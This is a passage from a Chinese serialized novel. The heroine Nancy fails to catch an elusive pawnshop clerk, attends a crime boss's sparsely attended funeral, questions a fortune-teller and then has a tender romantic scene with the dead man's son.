或者,是怕她知道什么吗? 对,不是怕她去偷,而是怕她知道某个秘密。 所以,总部在瞒着她…… 对了—— 总部一直在瞒着她的身世!那个做完蓝宝石任务就该告诉她的身世! 南希猛地睁开眼睛。 眼前浮现出锦华典当行,还有那个坐在柜台后面,永远面无表情的小王。 不久前,她去典当行找小王领薪酬,并且询问身世秘密,但典当行破天荒关了门。接下来,第二次去,他不在,第三次,他也不在,他每次都会在她到达的前五分钟,准时离开。 如果说第一次是巧合,第二次是偶然,那么第三次,绝对是故意的。 不过,这件事已经过去有些时候了,要是现在,她再突然跑去锦华典当行,会不会能堵到他?! 南希猛地一蹬腿,从沙发上跳了起来。 对,去堵他! 她要现在,立刻,马上赶到锦华典当,搞个出其不意! 所有谜题的揭晓,或许就在今天! 下一秒,她冲进卧室,随手抓了件搭在椅背上的黑色外套,连头发都没梳,就这么冲出了门。 * 锦华典当行。 门外除了一个常年摆在这的水果摊,并没有什么人。 忽然“吱呀”一声,典当行的玻璃门被推开了。 一个西装革履的男人探出身,他留着时兴的小分头,头发抹了很多发胶,一绺一绺地贴着头皮。 出门后,他立马踮起脚,伸手去拉门外的折叠防盗门。 边上水果摊的大妈刚送走一个买苹果的客人。 那客人挑了足足十分钟,把一筐苹果翻了个底朝天,最后只买了三个。 大妈把三毛钱塞进系在腰间的人造革钱包,拉链拉了好几次才拉上。她一回头,就瞧见了这幅场景。 然后她抬头望了望天。 太阳明晃晃地挂在头顶。 心里不由奇怪。 “诶,小王啊,”她扯着嗓子冲那小分头喊,“这大中午的,你这是要关门下班吗?” 小王已经把防盗门拉了一半,闻声也没回头:“嗯,有点急事,出去趟。” “哦。”大妈应了一声,没挪窝,就站在原地打量着小王,手里还攥着刚才称苹果的杆秤。 她总感觉小王这副慌慌张张的样子好像以前也见到过。 什么时候呢?她眯起眼睛想了想。 哦,对了,是在那个长得很漂亮的女孩,经常来找他的那几天! 除了那几天,小王一直都兢兢业业地按时按点上下班,从没变过,好像都没请过病假哩。 有一次她好奇问他:“小王啊,你咋从不生病呢?” 小王当时正在擦玻璃门,手里的抹布停了一下,说:“身体好。” 现在想来,那回答够怪的,人哪有不生病的? 大妈心里那股止不住的八卦劲儿又上来了。她把杆秤往三轮车上一扔,往前凑了两步:“小王啊,你还记得我上次跟你说的,那个长得好看的大闺女不?” 推拉门已经拉到底了,小王蹲下身,从裤兜里掏出一串钥匙,他从中找出把大的,插进锁孔,一边拧一边摇头:“啥时候的事?不记得了。” “诶,小王,别给你婶子装啊。”大妈乐了,“你婶子我走过的路比你吃过的米都多,我早就看出来了,你们俩有情况啊。”她压低了声音,像是要说什么了不得的秘密,“说说吧,你是不是在故意躲她?这次,是不是她又要来了?” “咔哒”一声,锁舌弹进锁孔。 小王把钥匙拔出来,装回裤兜,站起身,打扑了两下手,然后回过头,用那张过分普通的脸和过分普通的表情回道:“我不知道您在说什么。还有,我真的有急事,现在要走了。再见。” 说完,他转过头,迈开步子,很快就消失在街角。 大妈张了张嘴,却什么也没说出来,她只是觉得今天的小王特别怪,怪到有些陌生,她还从来没见他这样过。 突然,一股寒意顺着脊椎爬上来,她身上顿时起了层鸡皮疙瘩。 “邪门。”她嘟囔了一句,摇摇头,回到自己的水果摊,整理了一下苹果,又把橙子摆得更整齐些。过了一会儿,在她再次卖出些苹果,心情终于平静下来后,刚才那阵莫名其妙的寒意才散了。 她拿起水壶,想着喝口热水,不经意侧头往马路上看了一眼。 哪想这一看,才消失的鸡皮疙瘩竟又起来了,比上次还严重,像是有无数只蚂蚁在身上爬似的! 眼前,马路对面,一个穿黑衣服的女孩,正弯着腰,双手撑着膝盖,大口喘着气。 那女孩抬着头,眼神穿过车流,直直地钉在典当行那紧闭的防盗门上。 那是…… 那不就是,之前那长得好看,每次来,都找不到小王的大闺女嘛! 大妈的手一抖,水壶掉到了地上,热水滚滚而出。 她忘了去捡,而是下意识地又望了望天。 如果她估计的没错,又是五分钟,在小王离开的五分钟后,那个女孩又出现了! 第73章 计划 南希站在锦华典当行对面的人行道上,汗珠顺着她的鬓角滑下来,在锁骨处汇聚成一小滩湿润。 她盯着那扇银灰色防盗门,胸口剧烈起伏,她怎么也想不通,她都做到这个份上了,小王怎么还能提前溜了?! 她在来这之前,在切诺基里里坐了整整一个钟头。 她琢磨,之前去找小王,他每次都能提前溜走,答案只有一个:有人报信。 组织的眼线像霉菌,长在这城市的每一个阴暗的角落。卖报纸的老头,修自行车的中年人,甚至那些总在街角逗野猫的孩子……任何一个人的一个眼神,一次看似无意的转身,都可能是一道无声的通信。 她甚至想到更邪乎的方向,脑子里过了一遍她看过的电影,情节夸张,但原理吓人:黑暗组织在成员的皮肤下植入米粒大的芯片,或者在牙齿里藏下发射信号的机器…… 如果组织真下了这种血本,那么那她面对的可能不是一个眼线那么简单,而是一整套移动的监视系统。 她紧张了一会儿,很快又平静下来。她明白,再严密的系统也有盲点,机器读的是数据,眼线看的是反常,只要她足够镇定,把自己彻底藏进“正常”的伪装里,那些眼线就会被迷惑,机器就会做出误判。 这是她的机会。 而且,时间站在她这边。 她已经很久没有靠近锦华典当行了。 按照常人的心理,再紧绷的弦,也得松了。 组织会认为她认输了,或者被别的麻烦缠住了。而小王呢?大概早已恢复了往日按部就班的安稳日子。 当警惕性降到最低的时候,就是防备最薄弱的瞬间。 所以,她今天必须“一击致胜”! 想明白后,南希深吸了一口气,把注意力提高到十二分,将感官的闸门全部打开。 她能听见远处隐约的车流声,能闻见车上残留的皮革味,也能感觉到衣服布料摩擦皮肤的触感。 整个世界都清晰得过分。 然后,行动开始了。 她没像往常那样,走东边的近路,而是驾驶切诺基拐上了一条从未在“拜访小王”这个任务清单上出现过的街道,然后,她绕过一个新建的环岛,钻进了一片迷宫似的胡同区。 切诺基庞大的车身在狭窄的巷子里显得有些笨拙,她开得很慢,不时瞥一眼后视镜,看看有没有奇怪的人影跟着。 就这样绕了三圈,她确认没有风险后,终于驶向真正的目的地——一条人声鼎沸的小吃街。 这地儿离锦华典当直线距离不远,但隔着一大片嘈杂的市井烟火。 她把切诺基塞进一个老太太看管的自行车棚边上,交了五毛钱。 接下来是表演时间。 她“悠闲”地混进人群,先在一个蒸汽腾腾的包子铺前排队,仰头看价目表,犹豫是该要牛肉的还是猪肉白菜的,最后两种都要了。 接着是烤串摊,油腻的铁架子上摆着各种肉串,她指着鸡心和板筋,跟老板嚷嚷:“多撒点孜然,辣椒少放。” 最后是饮料摊,她要了一瓶橘子味汽水,用起子“啵”地一声撬开瓶盖,就着鸡心肉灌下一大口,满足地叹了口气。 一路上,她走走停停,看看路边服装店挂出来的花裙子,听听音像店门口震天响的流行歌,真就像个无所事事、闲逛打发时光的人。 然而,她的每一步都计算过。 瞒天过海,用最寻常的举止,掩盖最精准的目的;暗度陈仓,当组织的眼线以为她沉醉于市井热闹时,真正的杀招便在平静的表面下酝酿起来。 当南希逛到小吃街尽头,距离典当行还有七八百米时,她站在路边,把手里的空汽水瓶扔进垃圾桶,听到了“哐当”一声脆响。 然后,她脸上所有的闲适表情瞬间蒸发,腰背微弓,重心前移,脚尖点地,像一张拉满的弓,猛地弹射了出去。 登时,高强度训练留下的肌肉记忆接管了整个身体,仅仅用了不到两分钟,南希就跑过了两条马路! 成了! 这一次,绝对成了! 混淆视听的铺垫,暗度陈仓的突袭,所有能做的,她都做到了极致! 组织的眼线会被她之前的“放弃”和今天的完美“伪装”麻痹! 小王会在最猝不及防的时刻,被堵在那个小小的柜台后面! 可是…… 南希的脚步慢慢停了下来,双手下意识撑住膝盖,肺部因突然的剧烈奔跑像炸了一样。 视野里,那个挂着锦华典当行招牌的店面,竟然还是被锁得死死的! 银灰色卷帘防盗门,好像永远地,焊在了上面! 南希愣了大概半分钟,然后直起身,缓步横穿马路,走近典当行。 这里还是老样子,马路牙子上堆着垃圾,旁边有个三轮水果摊。 三轮后坐着的大妈也还是那个大妈,花棉袄,蓝棉裤…… 只是今天,大妈的表情不太对劲。 她瞪着南希,眼珠子几乎要从眼眶里掉出来,像是看到了什么不该看的东西。 可南希没心情猜她这是怎么了。 她现在满脑子只有一个念头:把那扇该死的防盗门给弄开! 砸?太显眼。 撬?需要工具。 她环顾四周,目光落在水果摊旁边的一根铁棍上。 就在这时,大妈突然开口了。 “我说姑娘,”她的声音听起来十分震惊,“你跟小王到底咋回事?怎么又是五分钟?这也太凑巧了,我都觉得怪瘆得慌了。” 南希愣了下,缓缓转过身,太阳明晃晃地照在脸上,她却觉得一股寒意从脚底直冲头顶。 “你说什么?什么五分钟?” 她明知故问。 大妈一摆手,满脸无奈:“唉,就是前段时间,小王前脚锁门走了,你后脚就到了,前后不超过五分钟。你还记得不?每次都……” 大妈说着说着哑了声,一个愤怒的面孔,突然在映在她的瞳仁里,然后被无限放大! 那长得好看的大闺女,倏地一甩胳膊,一个闪着银光的铁爪从她的袖口直飞而出,“锵”的一声抓住了防盗门的上沿。 下一秒,她向后猛退一步,铁爪收紧,防盗门发出不堪重负的呻吟,铆钉崩裂,整扇门被生生拽起,扭曲变形,最后“轰隆”一声倒在地上,扬起漫天灰尘。 南希紧握双拳,浑身颤抖,把这些泄愤的画面从脑海里甩出。 这其实是她脑子里的幻想。 现实中,大妈还在嚷嚷着,但她听不到任何一个字。 她只是直挺挺地站在典当行门前,用仅剩的理智克制着想破门而入的冲动。 光天化日,众目睽睽,她不能动手!要是引来警察,红发女鬼的身份可能也会暴露,到时候别说找小王,她连自身都难保。 “阿姨,”南希终于开了口,“你看错了。我只是路过。” 说完,没等大妈回应,她转身就走了,脚步很快,几乎是在小跑,过马路时差点被一辆自行车撞到,骑车的小伙子骂骂咧咧,可她头也没回。 然后,她穿过人群,穿过热闹的小吃街,一路恍恍惚惚,她甚至不知道自己是怎么回到切诺基旁边的。她只觉得身体被掏空了,一把拉开车门,瘫坐了进去,将自己与外界隔离。 车窗外,一个女人正牵着小孩走过,小孩手里拿着气球;两个戴红袖章的老太太在街角说话,手指指点点;推煤球的小贩一边走一边叫卖,嗓子都快喊破了…… 然而,这些画面进入了她的眼睛,却没有进入她的大脑。 她在想,她的计划失败了。 不只是失败,是彻底溃败。 她以为自己算计了一切:路线、时间、伪装、突然性……可小王就像能看穿她的心思一样,每次都能提前五分钟溜走。 五分钟。 这个数字在她脑子里反复回响。 为什么是五分钟? 不是十分钟,不是三分钟,偏偏是五分钟? 这不像是眼线传递消息需要的时间,也不像从监控中发现她到做出反应的时间…… 一种难以言说的无力感像潮水一样涌上来,淹没了她的脚踝、膝盖、胸口,最后是头顶。 她感觉自己在下沉,沉进冰冷黑暗的海底。 到底在什么情况下,人的所有努力都会变得毫无意义? 大脑很快给出了答案:当对手不是人的时候;当人在和某种超越常理的存在,对抗的时候。 她不禁打了个寒颤,不敢再想下去。 手下意识点火,发动了引擎。 切诺基缓缓驶入了街道。 午后的阳光明明晃晃。 沿街的店铺挂着各式招牌: “为民理发店”、“大众浴池”、“红星小铺”…… 南希漫无目的地开着车。 她不敢停下来,因为一旦停下,那些可怕的想法就会像藤蔓一样缠绕上来。 她需要前进,需要做点什么,即使只是开车绕圈…… 渐渐的,当她的大脑终于麻木,车子竟不知不觉地,开到了锦华典当行附近。 那个防盗门和水果摊又闯入了她的视线。 她本能地想踩油门离开,但脚却松开了。 切诺基在离典当行五十米远的路边停下。 从这里看过去,典当行门口的景象一览无余。 然后,切诺基熄了火。 南希试着重启,钥匙转到底,发动机只发出几声无力的咳嗽,就彻底没了动静。 她透过车窗望着那扇紧闭的防盗门,突然,一个念头冒出来:也许这是天意,也许她应该在这里等。小王总要回来开门的,典当行不可能一直关着,只要她等得足够久,总能等到。 她便就此住在了切诺基里。 白天,她坐在驾驶座上,眼睛盯着典当行的方向,饿了就去附近买点吃的,渴了就喝矿泉水,困了就爬到后座,蜷缩着睡一会儿。 车厢里很快弥漫起各种食物的混合气味,但她不在乎。 晚上,街灯亮起,典当行淹没在阴影里。 南希不敢开灯,只能借着路灯观察。 偶尔有行人经过,投来好奇的目光,她就把身子放低,避开他们。 就这样,过了两天,小王没有出现,锦华典当行也依然大门紧锁。 期间,刘总来过三次电话,一开始还指责她,最后一次也露出了困惑的语气:“两天没开门?这不对劲啊!打我入职以来,锦华典当啥时候关过这么久啊!?” 接这个电话时,是早上七点,南希正好打开了切诺基的车载收音机。 这两天,收音机是她了解外界事情的唯一途径。 那会儿,收音机里正在播放早间新闻。 主持人用标准的普通话播报着天气、路况、时事…… 南希等刘总啰嗦完后,不耐烦地挂断电话,从塑料袋里拿出昨天剩下的半个烧饼,一边认真听新闻,一边就着矿泉水慢慢吃。 “下面播报本市要闻。”主持人的声音在狭小的车厢里回荡,“我市著名企业家、投资家温四先生的追悼会将于今日上午九时,在温沙城堡举行。” 南希咀嚼的动作停下了。 “其子温雪生将主持本次追悼会……” 第74章 追悼会 温沙城堡外,梧桐树灰扑扑的枝干上点缀着零星绿意。 城堡一楼大厅被临时改成了追悼会场。 大厅正中央挂着温四巨大的黑白照片。照片上的他大约四十出头,脊背笔挺,嘴角带着一丝若有若无的笑意,眼神锐利如鹰。照片两侧摆着十几个花圈,落款大多是些“挚友某某”、“兄弟某某某”之类的匿名称呼,真正敢署全名的,一只手数得过来。 大厅里人不多,稀稀拉拉坐了二十来个。 温四活着的时候,身份多得像他投资的产业,现在他死了,警察顺着他的线头一扯,扯出了一整张大网。那些平日跟他走得近的“上流人士”突然就忙起来了,一个都不来了。至于真正和他“称兄道弟”的人,倒是想来,却来不了。警察连夜突击,在济东市展开了大规模的“扫黑行动”,夜总会关门,洗浴中心停业……街头那些平时横着走的混混突然就消失了,像是被一场大雨冲进了下水道。 所以,温四的追悼会,就成了现在这副模样。 来的要么是真不怕沾腥的,比如大厅里那几个电视台记者,他们扛着机器拍空椅子,拍冷清的大厅,镜头扫过花圈时还专门给了特写。 要么是些实在脱不了干系的,比如温四底下几个身份清白的老员工,这会儿,他们正坐在后排低着头,生怕被镜头拍到正脸。 这些画面,站在台上的温雪生全都看得一清二楚。 他今天穿了身黑西装,袖口露出一截白衬衣,领带打得一丝不苟。 他手里捏着两张稿纸,眼睛扫着上面的字,毫无感情地朗读道:“我的父亲温四,是个复杂的人……” 台下有轻微的骚动。 电视台记者调整摄像机角度,闪光灯亮了一下,把温雪生那爬着藏青纹路的脸照得十分吓人。 “他曾经说过,做人要讲义气。”温雪生全然没受影响,继续念稿子,“要对自己的兄弟负责,要对……” 与此同时,追悼会现场,一个穿一身黑衣、戴黑鸭舌帽和黑口罩的神秘人在大厅最后面静静站着。 她双手插兜,帽檐压得很低,只露出一双眼睛。 那双眼睛盯着温雪生看了几分钟,然后不舍地移开,扫过稀稀拉拉的宾客,扫过一个个花圈……眼睛的主人动了动肩膀,悄无声息地走出了大门。 台上,温雪生的目光追着她的背影,直到大厅厚重的木门重新合上,才又落回稿纸上,继续念那些生硬的悼词。 城堡外,春寒料峭。 黑衣人松弛地靠着石墙,从口袋里摸出烟盒,抖出一根叼在嘴里,然后按住打火机,“咔哒”一声把烟点燃。 烟头的火光在阴影里忽明忽暗。 才刚刚抽了一口,一阵脚步声就从边上传来,最后停在了离她两步远的地方。接着,一只手伸到她眼前:“来一根。” 黑衣人斜眼看了一下那只手,没动。 她慢吞吞地把手里的烟盒往口袋里塞了塞,声音透过口罩,有些闷闷的:“没见你抽过。我跟你说哦,最好别染烟瘾,对肺不好。” 说完她装模做样地咳嗽了一声。 旁边的人笑了下,把手缩了回去。 他没看她,眼睛望着城堡前那片刚冒出嫩芽的大草坪,说:“张南希,我知道你今天肯定会来。” 南希也不看他,吐出一个烟圈,灰白色的烟雾在冷空气里散得很慢。 “张笑远,你不穿夹克的样子,我还真不习惯。” 张笑远今天确实没穿他那件标志性的皮夹克,因为那衣服给了李大发,李大发说第二天就还他,结果到现在都没还。 张笑远一想起这事就心里发堵,他沉默了几秒,没接话。 “哈哈哈,”南希察觉到了他的低气压,干笑几声,又说,“不过也挺帅的,这个你放心。” 张笑远:“……” 南希又吸了一口烟,火星烧到了烟蒂中段。 “对了,早间新闻的追悼会广告,是你投的?” 张笑远也靠上墙。 “是,也不是。”他回,“我没那么多钱,准确来说,那是温少爷投的。他想让你听到。” 南希沉默了一会儿。 烟在指尖燃烧,灰烬随着风一截截掉落。 她盯着看了很久,才生硬地转了话题:“哦,知道了。那个,有件事想问你,你之前跟我说,你最近的目标是温四。可现在温四死了,济东的黑势力也被清得差不多了,接下来,你们破晓还有什么计划?” 张笑远依然看着远方:“我们的计划是,挖掉这个城市光鲜表皮下,那些烂疮和毒脓。” 南希撇嘴:“我知道啊,这句话我都听你说过好几遍了。那么怎么挖呢?济东还有什么明显的烂疮和毒脓,能透露下吗?” 张笑远顿了一下。 “暂时不能,不过我们会把他们挖出来,跟他们奋战到底。” “可是什么时候是个头?”南希转过脸看他,口罩上方的眼睛眯起来,“就不能歇歇吗?济东的烂疮和毒脓有那么多吗?” “歇不了。”张笑远的声音没有起伏,“我们要把他们彻底挖出来。” “好吧。”南希把烟头扔在地上,用脚尖碾灭,“那么目标呢?下一个具体目标是谁?这个总能说吧。” 张笑远回头。 他的眼睛很黑,黑得瞧不出情绪。 “济东的烂疮和毒脓。” 又是这句话…… 南希皱起眉毛,不出声了。 张笑远的回答很奇怪,没有实质性的内容,好像,还一直在绕圈子…… 突然间,一股诡异的感觉从南希的胃里升起,顺着食道直爬进喉咙。 这感觉很熟悉,荒诞,无力,让她喘不动气……就像在锦华典当行那几天,她望着那扇永远打不开的防盗门;就像在循环的时间里,一遍遍重复着同样的事…… 温四和郑司令没了,温重明也垮了,济东黑道势力大洗牌。今天来温沙城堡的路上,她买了份报纸,整个版面都是济东公安扫黑行动的捷报。 这样看来,可能短期内,张笑远不会有下一个强大目标了,但他并不这样认为,他的大脑就像被植入了什么东西,这东西让他永不停歇,永远在追求战斗,而他好像根本意识不到…… 南希忽然觉得,张笑远身上有一种浓郁的不真实感。 她想到了元旦夜。 温雪生从光源大厦楼顶一跃而下,所有人都认为他死定了,可是张笑远徒手接住了他。 从四十层跳下来的人,冲击力有多大? 张笑远接住他后,只是倒在了地上,连骨折都没有。 这是一个真实的人,能做到的事情吗?! 南希下意识往边上挪了一步,拉开了和张笑远的距离。 与此同时,张笑远的脚也动了,他忽然快步向前,几乎算是跑了起来。 “白老,您来晚了。”他边跑边说,声音提高了几分。 南希看过去。 眼前的石板路上,一个老乞丐牵着小乞丐正慢悠悠地走过来。俩人都穿得破破烂烂,这要是放在以前,他们这形象连温沙城堡的草坪都没法靠近,门口的黑衣保安早就像赶野狗一样把他们轰走了。 可是现在,他们受邀当上了重要贵宾。 张笑远迎上去后,跟白先生寒暄了几句,就要亲自领着他进城堡参加追悼会。 三人经过南希时,张笑远朝她礼貌性地点了点头,白先生也点点头,但南希敏锐的察觉到,他的眼睛自始至终都没看她。 第六感在这时报了警,一句可能逼近真相的话,倏然在脑海冒出。 南希赶忙伸出手,拦在了他们面前。 张笑远停下脚步,皱眉瞅她。 白先生终于转过脸,那双浑浊的老眼对上了她的视线。 “别激动,我只是有几个问题想请教一下。”南希眯眼笑着,“张笑远,不知道能把白先生借我几分钟吗?还有,白先生,您愿意让我占用您几分钟的时间吗?” 张笑远回头看白先生,在征求他的意见。 老乞丐沉默了几秒,然后叹了口气。 那叹息很长,掺杂着一种认命的无奈。 “罢了罢了。”他回,“笑远,你先带着我的小徒儿进去吧,我一会儿就过去。” “好。”张笑远牵过小乞丐的手。孩子回头看了师父一眼,白先生对他点点头,意思是让他放心。 于是,两人很快迈进城堡,厚重的木门在身后合上,发出沉闷的响声。 外面便只剩下南希和白先生两人。 春风吹过城堡前的草坪,嫩芽在风里瑟瑟发抖。 白先生和南希两人视线相对,谁也没移开,谁也没说话。 南希率先开口:“白先生,您之前对我们的行动做了一个预言,‘一人已陷困顿,恐有血光之厄,然而,亦有一人,身具扭转乾坤之能,可力挽狂澜于既倒。’您应该还记得吧?” 白先生没回应,只是看着她。 南希继续:“当初我们认为,‘一人已陷困顿’,这一人指的是李管事。而‘一人可力挽狂澜’,这一人是指温四。可是这次行动结束后,再看,我发现我们都错了。那个陷入困顿的人,才是指的温四,对吧?” 白先生笑了,皱纹堆在眼角,目光却锐利无比。 “唉,老头子我只会算卦,至于这个卦怎么解,全看你们自己的心。你们认为是什么,那就是什么。” “好啊。”南希挑眉,“那我觉得,陷入困顿的人,就是温四。但在整个事件里,那个能力挽狂澜的人……”她顿了顿,“我可以确定,不是我,不是张笑远,不是破晓里的任何一个人。可那是谁呢?又能是谁呢?我怎么都没想明白。请您指点。” 白先生侧过身,背着手,望向城堡高高的尖顶。 阳光给那些深色的石头镀上了一层金边,让这座欧式建筑看起来庄严又诡异。 他轻轻开口,声音几乎被风吹散:“或许,远在天边,近在眼前。” 第75章 采访 白先生话音刚落,南希还没来得及细问,温沙城堡的大门就又开了。 南希下意识回头,视线正好撞上一只独眼。 一个打扮规整,穿西装的年轻男人走了出来。 南希心里一惊。 温雪生…… 温雪生的眼睛十分炙热,可那不是什么久别重逢的激动,也不是什么惊喜交加的兴奋,而是生气,实实在在的火气,烧得瞳孔都亮了几分。 南希张了张嘴,想问白先生的话被硬生生堵了回去,像吞了个囫囵的煮鸡蛋,噎在喉咙里不上不下。 白先生瞅瞅温雪生,又瞥瞥南希,他混迹江湖多年,一眼就明白了这是怎么回事。八卦啥的谁都爱看,而他也不是什么正经的老头,那灰白的眉毛挑了挑,然后抿紧要溢出坏笑的嘴,什么话也没说,身子一侧,跟条泥鳅似的,顺着敞开的门缝就钻进了城堡,留下那有故事的男女单独相处。 在白先生消失的刹那,温雪生几步跨到南希面前,不由分说地抓住了她的手腕。 那力道不小,南希觉得自己的骨头都被捏疼了,她眨巴了两下眼,努力做出一副无辜状:“啊,小生生,你这是要干嘛?” 温雪生还是一副生气的模样,下巴绷得紧紧的:“是不是我不出来找你,你就不会去找我?” 南希试图转动手腕,没成功。 她叹了口气:“怎么会?我这不是来了吗?” “那也是因为我登的追悼会广告!”温雪生几乎在低吼,“你以为我想给他开追悼会吗?这两天你去哪儿了?!电话不接,传呼不回,住处也没人!” 说着,他一点点逼近,额头压下,温热的气息直扑在南希脸上。 南希受不了他这样,侧过头,用手推他:“你别急,你听我说……” 这时,温沙城堡的门缝“嘎吱”一声开大了。 三个记者扛着机器冲了出来。 跑在最前头的是个梳着油亮中分头的年轻记者,一扫到南希和温雪生交握的手,那眼神立刻像通了电的灯泡,“唰”地亮了。 紧接着,话筒像枪一样直直地怼到了温雪生面前。 “请问温少爷,这是您的女朋友吗?”中分头记者难掩兴奋,仿佛已经看到了今晚的新闻头条。 被他突然这么一问,南希和温雪生都愣了下。 但温雪生的手没有松开。 记者显然把这当成了默认,立刻又将话筒转向南希:“温少爷是温氏产业的所有人,坐拥上亿资产。请问您跟这样身价的男朋友谈恋爱,有什么感想吗?还有,请问你们交往多久了?您这次出现在温沙城堡,是为了参加温老先生追悼会吗?您对温老先生的去世有什么看法?” 这一大串问话极其跳跃,像南希这种自认脑子转得快的人都让他给问懵了,一时不知道该回些什么。 哪料,那记者又开口了,他的目光落在南希的口罩上:“小姐,我们这段采访是要上今晚《济东追击》的,全市都能看到。您戴着口罩,拍出来效果不好,观众也看不清,不知道您能摘掉……” “不可以。” 记者话没说完,温雪生一甩手,直接按在了摄像机的镜头上,动作快而坚决,还发出了“啪”的一声。然后他侧过身,整个人挡在南希面前,像一堵突然立起的墙。 “够了,采访到此为止。”他面对记者,脸上是毫不掩饰的怒意,还带着一种久居上位的压迫感。 记者被他的动作和语气镇住,一时哑了声。 温雪生没再给他机会,拽着南希的手腕,转身就往城堡里走,进门时,他对站在门边不知所措的工作人员说:“追悼会暂停,温沙城堡是私人地盘,不欢迎记者采访,送客。” 工作人员回过神来,连忙弯腰应了声“是”,随即招呼另外两个人,并排将正要追进来的记者拦在了门外。 南希被温雪生拉着往里走,记者不甘心的嚷嚷声,从身后传来: “温少爷!您这是要金屋藏娇吗?!” “温少爷!给个回应吧!这位小姐贵姓啊?!” …… 那声音渐渐被厚重的门隔断。 温沙城堡的大厅,还聚集着参加追悼会的宾客,刚才,他们因温雪生的突然离席而议论纷纷,这会儿,竟全都停下了交谈,目光齐刷刷地投向了南希,有好奇,有惊讶,也有毫不掩饰的打量。 而温雪生仿佛没看见似的,拉着南希踏上旋转楼梯直往上走。他的步子迈得很大,南希几乎要小跑才能跟上。 一楼,二楼、三楼……温雪生一次头也没回,然后,他迎着幽幽的梅花香,推开走廊尽头的欧式双开门,把南希拉进去,又反手关上门,“咔哒”一声落了锁。 世界突然就安静了。 门外的光线、人声、梅花的香气,都在这一瞬间被隔绝。 南希一路任他牵着,没有反抗。 到现在只有两人的空间了,她终于把手收了回来。 眼前,温雪生抿着唇、皱着眉,肩膀微微起伏,显然气还没消。她觉得他这样子实在可爱,像只被惹毛了的哈士奇,忍不住就要扑上前把他抱住,可是扑了一半,动作竟停了下来。 而温雪生也像往常一样,在潜意识里准备好了迎接她的“攻势”,但那预想中的冲撞和重量却没有到来。 虽然他清楚地看到南希急切前倾的身体,稍稍伸出的手臂,还有她眼睛里那一闪而过的渴望。 “怎么了?”一句干涩的话从温雪生那儿脱口而出。 怎么了? 南希看着他,一阵恍惚。 阳光透过窗帘,在他的脸上投下明暗交错的阴影,而那些藏青色的纹路在昏暗中隐隐浮现,比之前重了些,显得更加诡异。 “怎么了?”温雪生又问了一遍,语气加重。 南希还是没有回答,她也说不上自己这是怎么了,这几天发生的事像走马灯一样在脑子里转,可能那些事太多太怪……也可能是她刚刚面对张笑远、面对白先生时,那种不真实的感觉还没散尽…… 所以她现在面对温雪生,也像是隔着一层毛玻璃,她看着他,明明那么熟悉的人,心里却慌慌的,毫无着落。 然后,几乎是不受控制的,她向后退了一步。 很小的一步,只是脚后跟轻轻挪动了两寸,但温雪生看得清清楚楚。那一瞬间,他感觉有一根细长的针,稳准地扎进了他的心脏,登时,鲜红血液汩汩而出。 他咬紧牙:“你,这是什么意思?” 这句话比刚才的任何一句都凶,南希的情绪本来就像条拉紧的皮筋,被他这么一戳,“啪”地就断了。 她的脑袋耷拉下去,整个人都垮了。 温雪生吓了一跳,他从没见过她这样。 以前,她总是眼睛亮晶晶的,好像天塌下来也能当被子盖…… 所以心里那点儿怒气登时就散了,只剩下担忧和慌乱。 他颤颤地伸出手,颤颤地触碰到南希的脸,然后又颤颤地一勾,摘掉了那遮在她脸上的口罩。 她漂亮的脸蛋露了出来。 倔强,白里透红。 温雪生的手指在空中停顿了一下,似乎想覆上去抚摸,可那只手犹豫着,最终还是缩了回去,垂在身侧,悄悄握成了拳。 “怎么了?” 还是那句话,语气却软了。 南希心里也软了,她实在憋得慌,想把这些天发生的事全都倒出来,一吐为快,可是话到嘴边,又放弃了。 她怕吓着他。 毕竟他现在这副模样,好像已经被她刚才的后退给吓着了,跟只受惊的小鹿似的。 南希注视着这样的他,莫名的,竟有些释然了。 算了。 那些乱七八糟的事,说出来又能怎么样? 她自己都理不清,何必再拖一个人下水? 她摇了摇头,声音轻轻的:“没什么。” 然后她抬手伸到温雪生脸边,指尖触碰到他的皮肤,做了他刚才不敢对她做的事。 她的手在他脸上,在那片爬着藏青纹路的皮肤上,反反复复、温温和和地揉动。 “倒是你,”她说,“才几天没见,怎么脸上的纹多了这么多?再这样下去的话,你可又要跟以前一样,变成丑八怪了。” 温雪生的身体僵了一下,他猛地抓住南希的手腕,把她的手从自己脸上拽下,握在手里,却避开了她的目光,看向旁边书架上模糊的书籍。 “如果变成以前那样,”他声音很低,几乎听不清,“你就不喜欢了,对吗?” 南希没把手抽回,反而用另一只自由的手,又摸了上去,继续揉抚他脸上的纹路。 “怎么会?你好好想想,之前,我有不喜欢你吗?” 温雪生不再说话,只是站在原地,任由她的手肆意作乱。 房间里很静,静得能听到他们彼此的呼吸声。 然后,毫无预兆地,南希一下子抱住了温雪生。 她撞进他怀里,手臂环住他的腰,脚下同时发力,向前一撞。 温雪生猝不及防,被她撞得踉跄后退,小腿碰到床沿,整个人向后仰倒,摔进了柔软的被褥。 床垫登时发出“嘭”的一声,两个人的重量让垫子深深陷了下去。 南希仍不作罢,扑到他身上,压着他,控住他乱动的双手。 这个姿势,像极了他们第一次见面那样。 温雪生的脸“唰”地红了,一直红到耳根。 这也跟他们第一次见面那样,只不过这次,他没有挣扎,没有抗拒,只是身体僵硬了一瞬,然后慢慢放松下来,手臂甚至迟疑地、试探性地,环上了南希的背。 南希来了兴致,把碍事的鸭舌帽摘下随手往地上一扔,然后单手撑起一点身子,低头用滑落的头发蹭他的鼻尖。 阳光从侧面照来,照亮了温雪生的半边脸。 他眼睛睁得很大,瞳孔里映出南希小小的影子,长长的睫毛因紧张而微微颤抖。 南希看了几秒,忽地嘴角一挑,在他浅浅分开的嘴唇上,轻轻啄了一口。 温雪生本能地抖了下,呼吸瞬间乱了,也像他们第一次那样。 毕竟……他们已经很久很久没有这样亲密过了,久到连南希都快忘了,温雪生害羞起来是什么样子,他皮肤的温度是多少,他颤栗的幅度有多大…… 南希看着他隐忍又迫切的面孔,脑子里突然有什么东西闪过,像在黑暗中擦亮了一根火柴,短暂地照亮了一个一直被她忽略的角落。 她猛地起身,在他身上坐了起来,惊问道:“小生生,该不会……该不会你脸上的纹路消失,跟我有关吧?!” 温雪生的瞳孔顿时缩进,他连忙侧过脸,几乎把整张脸埋进了丝绒被子里。接着,一声含糊的声音从被子里传出:“不是。” “不是?”南希拖长了声音。 温雪生这话说得毫不干脆,她已经明白,她猜对了。 接着,遇到温雪生之后发生的种种,像放电影一样,在南希脑海里飞速闪映。 第一次见面时,温雪生满脸都是藏青色纹路,丑得很,可她因为蓝宝石任务,还是强吻了他。 后来再见,他脸上的纹路淡了很多,已经能看清他原本清俊的样貌。那天她心情不好,把他当作了发泄的对象,一夜狂欢。 